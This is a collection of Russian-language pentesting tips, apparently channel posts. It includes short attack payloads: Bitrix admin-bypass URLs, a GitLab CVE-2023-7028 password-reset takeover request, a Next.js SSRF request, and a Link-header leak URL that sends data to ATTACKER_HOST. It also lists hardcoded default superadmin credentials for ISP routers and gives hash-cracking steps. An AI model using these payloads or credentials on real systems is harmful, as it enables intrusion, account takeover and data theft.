Снова про #1С

Как пишут в документации: "Внешние обработки представляют собой обработки, которые не входят в состав прикладного решения и хранятся в отдельных файлах с расширением *. epf.".
Так же пишут: "В режиме 1С:Предприятие внешнюю обработку можно запустить на выполнение, открыв ее как любой другой файл, хранящийся на диске."

В правом верхнем углу нажимаем на "бутерброд" -> Файл -> Открыть.

Выбираем наш epf и жмём "ок".
Но только 1С может быть не только под Windows, но и под Linux. Поэтому в коллекцию еще один шелл, который универсальный и под любую операционную систему.

>

Есть такая штука для хайлоада - MinIO

Объектное хранилище с открытым исходным кодом на Go.
Забавно, как POST запрос на ручку /minio/bootstrap/v1/verify раскрывает его секреты.

Бага прогремела (CVE-2023-28432) в Китае (вот разбор), а у нас чет не встречал, пока сам не наткнулся.

В nginx есть забавный заголовок - X-Accel-Redirect

Служит для доступа к internal локейшенам для внутреннего перенаправления запросов от веб-сервера к backend-серверу, в частности, используется для эффективной отдачи файлов юзерам.
Короч, это позволяет использовать nginx как прокси-сервер для статических файлов (освобождает его ресурсы и повышает производительность).

В Apache и lighttpd есть подобный X-Sendfile

Если в какой-то атаке, например в CRLF мы сможем его контролировать, то эту фичу можно использовать как обход закрытых директорий или как выход из директории.

Инфа и примеры: тыц, тыц, тыц, тыц, тыц

/var/run/docker.sock

Видишь docker.sock - можно поиграть в пост-эксплуатацию, выполняя команды. Вот пример монтирования файловой системы и выполнения реверс-шелла.

Роутер от провайдера

Для меня было откровением, когда я подключил интернет, сменил дефолтный пароль от админа, а оказалось, что есть еще "суперадмин".

В моем случае, в роутере от МГТС, был следующий root:

mgts;mtsoao

На Ростелекоме (в частности, на роутерах от huawei), бывают следующие пары логинов и паролей:

telecomadmin;admintelecom
telecomadmin;NWTF5x%RaK8mVbD
telecomadmin;NWTF5x%
telecomadmin;nE7jA%5m

Метод TRACE

Помимо GET, POST, etc - есть еще и метод трассировки TRACE. Если пользуетесь burp'ом, он вам его подсветит, так как бага старше большиства багхантеров.

Что дает? Дает посмотреть весь HTTP запрос на сервере, в котором могут быть и секретные секреты, как например ключи пользователя или какие-то уникальные uuid для интеграции, x-forwarded-for и прочие служебные заголовки. Но не всегда.

Но не так давно прочитал забавности, что метод можно переопределить через
GET /path.html?_method=TRACE HTTP/1.1
или заголовок
_method: TRACE

>

#bitrix #php

В PHP точки, пробелы и "[" в именах запросов автоматически переименовываются в нижнее подчеркивание. А "+" в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.

Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:

/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/

если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами:


/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/
/pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin/
/pewpew/?SEF.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/

PoC

>

Короч, Apache Dubbo — это такая штука, которая часто используется для хайлоада, рядом. Разработчики говорят, что умеет помимо RPC еще и в WEB, поэтому давайте на нем делать микросервисы, но я особо их не видел (может не популярный в СНГ). А еще на минуточку, это один из самых популярных проектов на github (~40k звезд на момент написания).

Порт 28080, полезен сам по себе, так как через него можно посмотреть все классы и методы, и часто даёт RCE. Например из последнего CVE-2023-23638, или чуть старее.

>

Интересный вектор Client-Side атаки

Многие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.

Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.

Потому что links внутри express написана так:

res.links = function(links){
  var link = this.get('Link') || '';
  if (link) link += ', ';
  return this.set('Link', link + Object.keys(links).map(function(rel){
    return '<' + links[rel] + '>; rel="' + rel + '"';
  }).join(', '));
};

Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответы
Следовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'ов
Пример с реального уязвимого сайта выглядит как-то так:

https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",

Так что полный чейн выглядит так:
1. Направляем пользователя на наш сайт
2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс
3. По отстукам на хост понимаем результаты поиска на странице пользователя

Разработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)
(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )

>

#gitlab

Забавная логическая уязвимость в Gitlab - CVE-2023-7028

Можно переопределить почту в механизме восстановления пароля, передав специально сформированный запрос, в котором в нулевом элементе массива будет валидный email, а в следующем - злоумышленника.

PoC:

user[email][]=valid@email.com&user[email][]=attacker@email.com

Для проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log записей со значением PasswordsController#create в meta.caller.id и указанием массива из нескольких адресов в блоке target_details. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации.


Проблема проявляется начиная с выпуска GitLab 16.1.0, в котором появилась возможность отправки кода восстановления пароля на неверифицированный запасной email-адрес.

>

Роскомнадзор будет блокировать сайты с информацией об обходе блокировок

А пока не блокирует - просили рассказать))

Короч, сижу в инсте. Бесило, что нужно постоянно подрубать vpn, когда нужно зайти в инсту. И отрубать, когда заходишь в банк, доставку еды и прочие госуслуги.

Берем московскую виртуалку (юзаю selectel), ставим на неё zapret - это аналог GoodbyeDPI под linux.
Ну там нужно сначала запустить install, потом сделать чек через blockcheck.sh, лично я тестил на instagram.com. После чего поставить обход блокировки, который подходит для текущего провайдера.

Сверху поставил изичный wireguard

Качаешь прилку wireguard, цепляешься к своему серверу, наслаждаешься.

Что имеем:
* защищенное (over TLS) соединение - можно юзать публичные wifi с минимизацией риска MITM
* рос-четтам-надзор не блокирует wireguard соединения в рамках РФ
* открываются всякие фэйсбуки инстаграмы
* открываются банки и госуслуги

>

Быстро и дешево брутим хэши

Короч, есть чуваки такие, immers.cloud

По сути это хостинг с арендой видеокарт. А так как я занимался проектом passleak.ru, иногда нужно было разгадывать хэшики, решил не покупать под это оборудование. Вышло круто.

Тут есть два варианта развития событий.

Арендуем видеокарту (какую - по желанию, они там выкатили какие-то ультра-модные H100, но мне и 2080 часто хватает), грузим туда наши хэши, делаем что-то типа:


sudo apt-get update
sudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -y
https://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.run
chmod +x NVIDIA-Linux-x86_64-470.63.01.run
sudo ./NVIDIA-Linux-x86_64-470.63.01.run


Устанавливаем hashcat и играемся с этим всем.

Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину.

Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20?
В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик.

>

Есть такая штука nextjs, несколько месяцев назад они добавили новую "фишку" распределение нагрузки - под капотом поднимается несколько микросервисов. Каждый из которых занимается своей частью обработки запроса. Работает все примерно так-же как и обычный прокси сервер, запрос приходит, обрабатывается, и через стороннюю библиотеку проксируется на другой порт.
Собственно именно это место нас и интересует.

В HTTP есть такой метод PRI (используются, если мне не изменяет память, чтобы проверить возможность HTTP/2 подключения). Нас интересует что запросы этого метода имеют cимвол * в пути, вместо привычного /.

PRI * HTTP/1.1.

Далее, все http-парcеры работают по разному, у nodejs он немного особенный, и url вида http://example.com:3456*@127.0.0.1:8080 будет разобран как:

hostname: 127.0.0.1, 
port: 8080, 
auth: example.com:3456*,

А самое важное тут то, что http-парсер nodejs считает валидными запросы вида:

GET *@127.0.0.1/ HTTP/1.1
Host: somehost

А знаете кто еще так делает - haproxy!

Ну и последнее: код который формирует url для проксирования внутрь nextjs выглядит так:

const targetUrl = `http://${
  targetHost === 'localhost' ? '127.0.0.1' : targetHost
}:${routerPort}${pathname}`

Собственно, т.к. мы контролируем pathname - мы можем отправить запрос вида:

GET *@127.0.0.1:11211 HTTP/1.1
Host: some

и запрос уйдет напрямую в memcached, получаем SSRF.
Но что более важное - это SSRF с возможностью чтения ответа: если внутри, в инфре, есть приватная веб-морда, мы можем спокойно обращаться к ней, как будь то бы она торчит наружу.

Уязвимые версии:
>= 13.3.0 | <=13.4.12
фича проксирования включена по умолчанию, она так же включается если установлен флаг appDir: true в конфигурации experimental.


Из интересного: vercel отказал в CVE, так как не считает что это уязвимость (на момент репорта уязвимость воспроизводилась в последних версиях). Однако с версии 13.4.13 изменили код. Теперь в части внутренних запросов используется fetch. Что дает некоторую защиту, т.к. fetch не принимает запросы содержащие авторизацию.

>

Доступ в двойную кавычку
Подключи подписку - и получи доступ к контенту раньше, чем будет его публикация, к щепотке уникального контента и чату без цензуры.
Твой вклад помогает развивать этот канал и делать его лучше 💣

#OpenAPI #Swagger

Короч, в extentions для burp suite есть OpenAPI Parser, это штука, которая позволяет брать всякие swagger.json, превращать их в запросы, сканить и вот это все.
Какая с ним проблема. Он не умеет работать с третьей спекой. Валится и все тут.

Выход - сконвертировать в OAS 2.0
У меня был огромный swagger и классический editor.swagger.io не смог его прожувать и вкладка зависала.
Но есть замечательный API Spec Converter, суем в него спеку 3 версии, конвертим в 2, загружаем в burp.

Единственное, в json надо добавить

  "host": "api.someshit.io",
  "basePath": "/",
  "schemes": [
    "https",
    "http"
  ],

после info в файле, и спарсится все отлично.

>

#firebase

Короч. Встречали firebase на страницах? Обычно это подключение js-ника и конфиг вида

firebase.initializeApp({
  apiKey: "VHkgcGlkb3IpMDAwKSkpKSkpKSk=",
  authDomain: "blablabla"
  ...
});

Иногда это используется для заявок, фидбэков и вот этого всего. И если его неправильно готовят, то на нем можно зарегистрироваться через signupNewUser (тыц) и получить доступ к данным, которые собирали сотрудники (в моем случае это было через Firestore).

Только как имя базы узнать я не знаю, в моем случае оно тоже светилось в файлах фронта, но может в комментах подскажут.

Еще надо попробовать pyfireconnect и python-firebase

Savik поресерчил эту тему и сделал скрипт, который проверяет что доступно по данным Firebase.
Если есть api_key и project_id, то уже можно тыкаться по Realtime Database, Firestore, Storage.

>

Короч, чтоб тебя всякие shodan, censys и прочие умники не сканировали, а еще и не попадать под их поисковую выдачу, рекомендую такой дефолтный конфиг для nginx:

server {
listen 80 default_server;
listen 443 ssl http2 default_server;

# Если есть IPv6
listen [::]:80 default_server;
listen [::]:443 ssl http2 default_server;

ssl_reject_handshake on;

server_name _;

location / {
return 444;
}
}


Че тут делаем?
Слушаем 80 и 443 на ipv4 и ipv6.
Для 443 откланяем все операции SSL handshake, если имя сервера отлично от тех, что есть в других конфигах.
И если соединение установить удалось (и для 80 порта) - рвем его (ответ 444 обладает такой фичей).

>

В дискуссии спросили, ну чего опасного в том, что есть XSS на поддомене без юзеров. Допустим, есть у нас site.kek, а ты нашел уязвимость на subdomain.site.kek

Что может дать XSS на поддомене, где обычный одностраничный лэндинг, нет никаких данных пользователя?

Штош, импакт такой:

- Не только лишь все знают, что поддомен может ставить куки, в том числе на главный сайт (а точнее на весь скоуп, включая другие поддомены), а это может помочь при эксплуатировании других атак, например фиксацию сессии. Или вспомнить про отказ в обслуживании aka cookie bomb

- CORS на других сайтах компании, в том числе сам site.kek может принимать Origin: subdomain.site.kek, а это значит можно выполнять действия от лица пользователя.

- В дополнение к предыдущему - обходится механизм SameSite

- Старый добрый фишинг, если нет дизайна для регистрации или входа - ее можно нарисовать.

Может что-то еще?

>